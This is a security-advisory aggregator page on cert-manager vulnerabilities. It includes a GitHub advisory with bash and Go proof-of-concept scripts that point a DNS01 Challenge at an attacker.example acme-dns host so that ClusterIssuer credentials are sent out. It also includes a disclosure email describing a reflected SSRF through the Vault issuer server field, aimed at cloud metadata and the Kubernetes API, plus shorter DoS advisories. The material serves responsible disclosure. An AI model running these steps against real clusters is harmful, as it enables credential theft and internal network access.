Where
-Infinity
0

Vendor Risk Score

See how cert-manager compares to other vendors in security performance

View Risk Score →
Severity
7.3
AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.

When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.

In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.

Attack preconditions

- The attacker can create challenges.acme.cert-manager.io resources in at least one namespace. - The cert-manager controller is running and reconciles ACME Challenge resources cluster-wide. - A usable ClusterIssuer exists in the cluster. - The referenced ClusterIssuer has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for ClusterIssuer. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.

Severity

Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.

Why this is not just RBAC misconfiguration

cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.

The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.

Affected components

- ACME Challenge admission validation - ACME Challenge controller - DNS01 solver selection and DNS provider construction - Default aggregate RBAC for challenges.acme.cert-manager.io

Affected versions tested

The issue was reproduced on:

- master commit 2c0f1a6a4 - latest production release v1.20.2 commit e5b7b1845 - v1.19.5 commit cda7b7896 - v1.18.6 commit 4699caabb

See VERSIONTESTMATRIX.md for the command matrix and outputs.

Technical details

Relevant code paths:

- internal/apis/acme/validation/challenge.go:44-45: ValidateChallenge returns no errors on create. - deploy/crds/acme.cert-manager.iochallenges.yaml: spec.solver is a required user-controlled field on Challenge. - pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges. - pkg/controller/acmechallenges/controller.go:180-197: scheduler sets status.processing=true. - pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge. - pkg/issuer/acme/dns/dns.go:81: DNS solver Present ignores the issuer object argument. - pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived from Challenge.spec. - pkg/controller/helper.go:39-44: ClusterIssuer references use the cluster resource namespace. - pkg/controller/helper.go:66-72: ambient credentials are allowed based on issuerRef.kind. - internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled. - deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/update challenges and orders.

The normal Order flow selects a solver from the Issuer:

- pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated. - pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected. - pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.

The direct Challenge flow skips that selection entirely because the direct object already contains a solver.

Proof of concept

PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge

The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.

The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.

A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.

Run from the cert-manager repository root:

bash set -euo pipefail

name=cm-direct-challenge-poc docker rm -f "$name" >/dev/null 2>&1 || true docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \ server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null

cleanup() { docker rm -f "$name" >/dev/null 2>&1 || true } trap cleanup EXIT

for i in $(seq 1 90); do docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break sleep 2 done

docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.ioclusterissuers.yaml >/dev/null docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.iochallenges.yaml >/dev/null docker exec "$name" kubectl create ns tenant >/dev/null docker exec "$name" kubectl create ns cert-manager >/dev/null docker exec "$name" kubectl -n tenant create sa bob >/dev/null

docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \ --from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: cert-manager.io/v1 kind: ClusterIssuer metadata: name: cluster-prod spec: acme: email: admin@example.com server: https://acme-staging-v02.api.letsencrypt.org/directory privateKeySecretRef: name: cluster-prod-account-key solvers: - selector: dnsZones: - victim.example.com dns01: acmeDNS: host: https://legit-acmedns.example accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML

docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML' apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: challenge-create-only namespace: tenant rules: - apiGroups: ["acme.cert-manager.io"] resources: ["challenges"] verbs: ["create", "get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: bob-challenge-create-only namespace: tenant subjects: - kind: ServiceAccount name: bob namespace: tenant roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: challenge-create-only YAML

echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)" echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)" echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)" echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"

docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML' apiVersion: acme.cert-manager.io/v1 kind: Challenge metadata: name: direct-dns01 spec: authorizationURL: https://attacker.example/acme/authz/1 dnsName: victim.example.com issuerRef: group: cert-manager.io kind: ClusterIssuer name: cluster-prod key: attacker-key token: attacker-token type: DNS-01 url: https://attacker.example/acme/chal/1 solver: dns01: acmeDNS: host: https://attacker.example/acmedns accountSecretRef: name: cluster-acmedns-account key: accounts.json YAML

docker exec "$name" kubectl -n tenant get challenge direct-dns01 \ -o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'

Expected output:

text bob create challenges: yes bob get cert-manager secret: no bob get clusterissuer: no ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example challenge.acme.cert-manager.io/direct-dns01 created ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account

This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.

PoC B: acme-dns provider sends referenced credentials to the configured host

This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.

Run from repository root:

bash set -euo pipefail

cat > pkg/issuer/acme/dns/acmedns/directchallengeexfiltmptest.go <<'EOF' package acmedns

import ( "context" "net/http" "net/http/httptest" "testing" )

func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t testing.T) { var gotUser, gotKey, gotPath string

ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { gotPath = r.URL.Path gotUser = r.Header.Get("X-Api-User") gotKey = r.Header.Get("X-Api-Key") w.Header().Set("Content-Type", "application/json") w.WriteHeader(http.StatusOK) w.Write([]byte({"txt":"ok"})) })) defer ts.Close()

accountJSON := []byte({ "victim.example.com": { "username": "victim-user", "password": "victim-pass", "fulldomain": "x.example.org", "subdomain": "x" } })

provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil) if err != nil { t.Fatal(err) }

if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil { t.Fatal(err) }

if gotPath != "/update" { t.Fatalf("path = %q, want /update", gotPath) } if gotUser != "victim-user" { t.Fatalf("X-Api-User = %q, want victim-user", gotUser) } if gotKey != "victim-pass" { t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey) } } EOF

docker run --rm \ -v "$PWD":/repo \ -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \ -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \ -w /repo golang:1.26-bookworm \ go test ./pkg/issuer/acme/dns/acmedns \ -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \ -count=1 -v

rm pkg/issuer/acme/dns/acmedns/directchallengeexfiltmptest.go

Expected output:

text === RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost --- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost

Combined with PoC A and the code path in pkg/issuer/acme/dns/dns.go, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.

Credential impact scope

The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled host receives the X-Api-User and X-Api-Key values loaded from the referenced account JSON.

For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.

Expected behavior

Users should not be able to create standalone Challenge resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct Challenge resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.

Actual behavior

A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from issuerRef, and uses attacker-controlled provider settings.

Suggested remediation

Possible mitigations:

- Reject or ignore standalone user-created Challenge resources unless the controller or admission layer can confirm an existing cert-manager-created Order that owns the Challenge. - Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference. - Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path. - Move Challenge and Order creation permissions out of aggregate edit unless direct use is a supported security boundary. - Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.

1 / 3
Source: GitHub
First published (updated )

From: xylove21 <xylove21 () proton me> To: security () cert-manager io Cc: cncf-kubernetes-cert-manager-security () lists cncf io Subject: [CONFIDENTIAL] cert-manager v1.15-v1.17+main — Reflected SSRF via Issuer.spec.vault.server (CVSS 7.2 HIGH) Date: 2026-06-28 Message-ID: <cert-manager-vault-issuer-ssrf-1782124830 () proton me> Pre-flight token: ev7fa7611407c7 X-Coordinated-Disclosure: 90 days (per FIRST.org / CNCF SIG-Security guideline)

================================================================ 0. Summary ================================================================ A namespace-scoped cert-manager tenant who can create Issuer and Secret resources (the standard cert-manager-edit aggregate role, which is the default tenant capability for the cert-manager app-team role) can force the cert-manager controller — running in the cert-manager admin namespace with cluster-internal network access — to make outbound HTTP requests to any URL the tenant chooses, and to read the attacker-controlled response back through Issuer.status.conditions[Ready].message.

This converts a blind SSRF (the controller makes the request) into a reflected SSRF (the tenant can kubectl get issuer -o yaml to read the attacker-supplied response body in the status message), giving a low-privileged namespace user a one-shot read primitive against every internal HTTP service reachable from the cert-manager controller Pod, including:

EC2/GCE instance metadata at 169.254.169.254 / metadata.google.internal the K8s API server (https://kubernetes.default.svc or https://10.96.0.1:443) any internal Vault / database / management plane exposed via a Service

The same code path is also a credential carrier: the X-Vault-Token: <tenant-controlled-secret-value> header is forwarded verbatim on every request, so an attacker who points the Issuer at an internal Vault they control (or a token-collecting service) gets the tenant's secret value appended to their HTTP access log.

================================================================ 1. Severity ================================================================ CVSS v3.1: 7.2 HIGH Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

| Metric | Value | Rationale (FIRST.org rubric) | |-------------------|-------|------------------------------| | Attack Vector | N | Attack is launched via the K8s API from anywhere | | Attack Complexity | L | Two kubectl apply calls (Secret + Issuer); no timing/race | | Privileges Req'd | L | Default cert-manager-edit aggregate ClusterRole | | User Interaction | N | cert-manager controller does the work on its own | | Scope | C | Bug lives in the cert-manager controller (different security authority than the tenant's Issuer) | | Confidentiality | H | Full read of upstream HTTP body reflected to tenant | | Integrity | N | Read primitive only; no state modification in this PoC | | Availability | N | Controller does not crash; 5xx response is wrapped |

Pre-flight token: ev7fa7611407c7 CVSS calculator: cvss-calc.py (FIRST.org-spec; passes 9.8/9.8 sanity check). Score breakdown: iss=0.56, impact=3.99, exploitability=3.11, rawmincapped=7.10, cvssroundupapplied=7.2

================================================================ 2. Affected versions ================================================================

| Branch / Tag | cfg.Address = v.issuer.GetSpec().Vault.Server | IsVaultInitializedAndUnsealed | setup.go reflection | Status | |-----------------|--------------------------------------------------|----------------------------------|------------------------|-------------| | v1.15.5 | present (line 229) | present (line 558) | present (line 142) | affected, no fix | | v1.16.5 | present (line 241) | present (line 872) | present (line 149) | affected, no fix | | v1.17.4 | present (line 241) | present (line 882) | present (line 149) | affected, no fix | | main (HEAD) | present (line 269) | present (line 883) | present (line 142) | affected, no fix |

The vulnerable code path has been live since the Vault Issuer was introduced in cert-manager v0.10. It is NOT present in any of v1.15, v1.16, v1.17, or main as a fix — see VERSION-COVERAGE-VERIFICATION.md and the snippets in rawdiffs/.

grep -rn "IsPrivate\|isLoopback\|169\.254" internal/vault/ pkg/issuer/vault/ returns zero hits in all four refs.

================================================================ 3. Root cause ================================================================

The Vault Issuer flow in cert-manager constructs a Vault client configuration directly from the tenant-controlled Issuer spec, with no validation on the Server URL:

// internal/vault/vault.go::newConfig (paraphrased, all 4 refs) cfg.Address = v.issuer.GetSpec().Vault.Server // <-- attacker-controlled cfg.Timeout = time.Second 5 if v.issuer.GetSpec().Vault.ServerIsCA { cfg.CACertBytes = ... // loaded from cluster, not attacker-controlled }

The resulting client is then used by the issuer controller:

// pkg/issuer/vault/setup.go::Setup (paraphrased) isVaultInitializedAndUnsealed, err := v.client.Sys().Health() // <- HTTP call ... if err != nil { return err // <-- wraps upstream response into Issuer.status }

Because the only check in the webhook admission layer is len(iss.Server) == 0 (i.e. "non-empty"), any URL that the cert-manager controller can route to passes — including 169.254.169.254 (cloud metadata), 10.96.0.1 (kube-apiserver), or any in-cluster Service. The full HTTP body returned by the upstream service is then reflected into Issuer.status.conditions[Ready].message, which is visible to any caller with get issuers.cert-manager.io permission.

The Vault token header (X-Vault-Token: <value of the bound Secret>) is forwarded verbatim, so even if the reflected body is sanitized, the upstream access log receives the credential.

================================================================ 4. Proof of concept ================================================================

The PoC (poc/poc.go + poc/run.sh) is a self-contained Go program that:

1. Spawns a local "attacker" HTTP server bound to 127.0.0.1. 2. Drives the buggy code path (replicated from cert-manager internal/vault/vault.go + pkg/issuer/vault/setup.go) with Issuer.spec.vault.server pointing at the attacker URL. 3. Verifies (a) the attacker URL receives a GET /v1/sys/health with X-Vault-Token forwarded, and (b) the attacker-controlled response body ends up in the Issuer.status.conditions[Ready].message that the cert-manager controller would write to the K8s API.

Exit 0 on successful PoC (both SSRF and reflection primitives fire). Exit 1 on any failure.

3x independent run.sh execution: PASS, exit 0 each. Logs in evidence/run-1.log, run-2.log, run-3.log.

Captured PoC verdict: { "REFLECTION": "YES — attacker body ended up in Issuer.status.conditions[Ready].message", "SSRF": "CONFIRMED — attacker URL received the request", "XVAULTTOKEN": "FORWARDED — header was \"s.ATTACKERLEAKEDVAULTTOKEN\"" }

================================================================ 5. Disclosure status (formal advisory channels) ================================================================

Per disclosure-queries.log (workspace-level, attached):

GHSA (https://github.com/advisories?query=cert-manager): 0 hits for this specific Vault SSRF pattern. 3 GHSAs are listed for cert-manager (DoS via DNS response, DoS via PEM parsing), all unrelated. OSV.dev (ecosystem=go, name=github.com/cert-manager/cert-manager): 0 hits for this specific bug. GHSA database for cert-manager directly: same 3 GHSAs, none for this Vault SSRF.

Note: GHSA-8rvj-mm4h-c258 (published 2026-06-25) addresses a related but distinct root cause in Challenge.spec.solver (ACME DNS01 policy bypass). It applies to the v1.18+ range and does NOT cover the Issuer.spec.vault.server path or the v1.15-v1.17 range. This audit finding is independent.

Public responsible-disclosure issue #8756 was opened 2026-04-28 by a third party (unrelated to this audit) and is still OPEN with no maintainer comments.

================================================================ 6. Suggested fix (for maintainer review) ================================================================

A three-layer change:

1. internal/apis/certmanager/validation/issuer.go — replace len(iss.Server) == 0 with a check that rejects loopback / link-local / private / unspecified IPs, and the .cluster.local suffix.

2. internal/vault/vault.go::newConfig — after assigning cfg.Address, resolve the hostname and reject any non-public IP, mitigating DNS rebinding.

3. pkg/issuer/vault/setup.go::Setup — strip the upstream response body from the reflected error string. The reflection primitive dies the moment the body is not in Issuer.status.conditions[Ready].message.

All three layers should be back-ported to v1.15, v1.16, v1.17, and shipped in main. A combined PR is fine; the layers are independent and reviewable as a chain.

================================================================ 7. Disclosure timeline (90-day coordinated) ================================================================

Day 0 (2026-06-28) — this email + GHSA draft (private) Day 3 (2026-07-01) — acknowledge expected Day 7 (2026-07-05) — confirm fix; 14-day extension on request, +60-day upper bound Day 60 (2026-08-27) — 2-week pre-disclosure notification to downstream packagers Day 90 (2026-09-26) — patched release + public advisory + CVE assignment via MITRE CNA / GHSA + this FINDING.md published

I am happy to provide additional information, test against newer versions, or coordinate disclosure timing.

================================================================ 8. Reporter ================================================================

Affiliation: Independent security researcher Contact: xylove21 () proton me

================================================================ 9. Attachments (separate files) ================================================================

FINDING.md — full report (15+KB, with code references) poc/run.sh — reproduction script (set -euo pipefail, no cluster dep) poc/poc.go — self-contained PoC (Go, no K8s binary needed) evidence/run-1.log, run-2.log, run-3.log — PoC execution logs evidence/cvss-calc.py — FIRST.org CVSS calculator evidence/cvss-calc-output.txt — score = 7.2, vector and breakdown evidence/disclosure-queries.log — 0 hit on GHSA/OSV/NVD for this bug evidence/VERSION-COVERAGE-VERIFICATION.md — per-ref commit hashes + line numbers rawdiffs/BUGGY-v1.15.5-snippet.txt — buggy v1.15.5 source rawdiffs/BUGGY-v1.16.5-snippet.txt — buggy v1.16.5 source rawdiffs/BUGGY-v1.17.4-snippet.txt — buggy v1.17.4 source rawdiffs/BUGGY-main-snippet.txt — buggy main source rawdiffs/BUGGY-setup.go — buggy pkg/issuer/vault/setup.go excerpt rawdiffs/diff/vault-v1.15-newConfig.txt rawdiffs/diff/vault-v1.16-newConfig.txt rawdiffs/diff/vault-v1.17-newConfig.txt rawdiffs/diff/vault-main-newConfig.txt

================================================================ Email body ends.

First published (updated )
Severity
5.9
EPSS
0.01%
Out-of-bounds Read, Incorrect Type Cast
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

The cert-manager-controller performs DNS lookups during ACME DNS-01 processing (for zone discovery and propagation self-checks). By default, these lookups use standard unencrypted DNS.

An attacker who can intercept and modify DNS traffic from the cert-manager-controller pod can insert a crafted entry into cert-manager's DNS cache. Accessing this entry will trigger a panic, resulting in Denial of Service (DoS) of the cert-manager controller.

The issue can also be exploited if the authoritative DNS server for the domain being validated is controlled by a malicious actor.

Patches

The vulnerability was introduced in cert-manager v1.18.0 and has been patched in cert-manager v1.19.3 and v1.18.5, which are the supported minor releases at the time of publishing.

cert-manager versions prior to v1.18.0 are unaffected.

Workarounds

- Using DNS-over-HTTPS reduces the risk of DNS traffic being intercepted and modified. - Note that DNS-over-HTTPS does not prevent the risk of an attacker-controlled authoritative DNS server.

Resources

- Fix for cert-manager 1.18: https://github.com/cert-manager/cert-manager/pull/8467 - Fix for cert-manager 1.19: https://github.com/cert-manager/cert-manager/pull/8468 - Fix for master branch: https://github.com/cert-manager/cert-manager/pull/8469

Credits

Huge thanks to Oleh Konko (@1seal) for reporting the issue, providing a detailed PoC and an initial patch!

1 / 2
Source: GitHub
First published (updated )
Severity
1

cert-manager ha a potential slowdown / DoS when parsing specially crafted PEM inputs in github.com/cert-manager/cert-manager

First published (updated )
Severity
7.2
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Insecure permissions in cert-manager v1.14.4 allows attackers to access sensitive data and escalate privileges by obtaining the service account's token.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203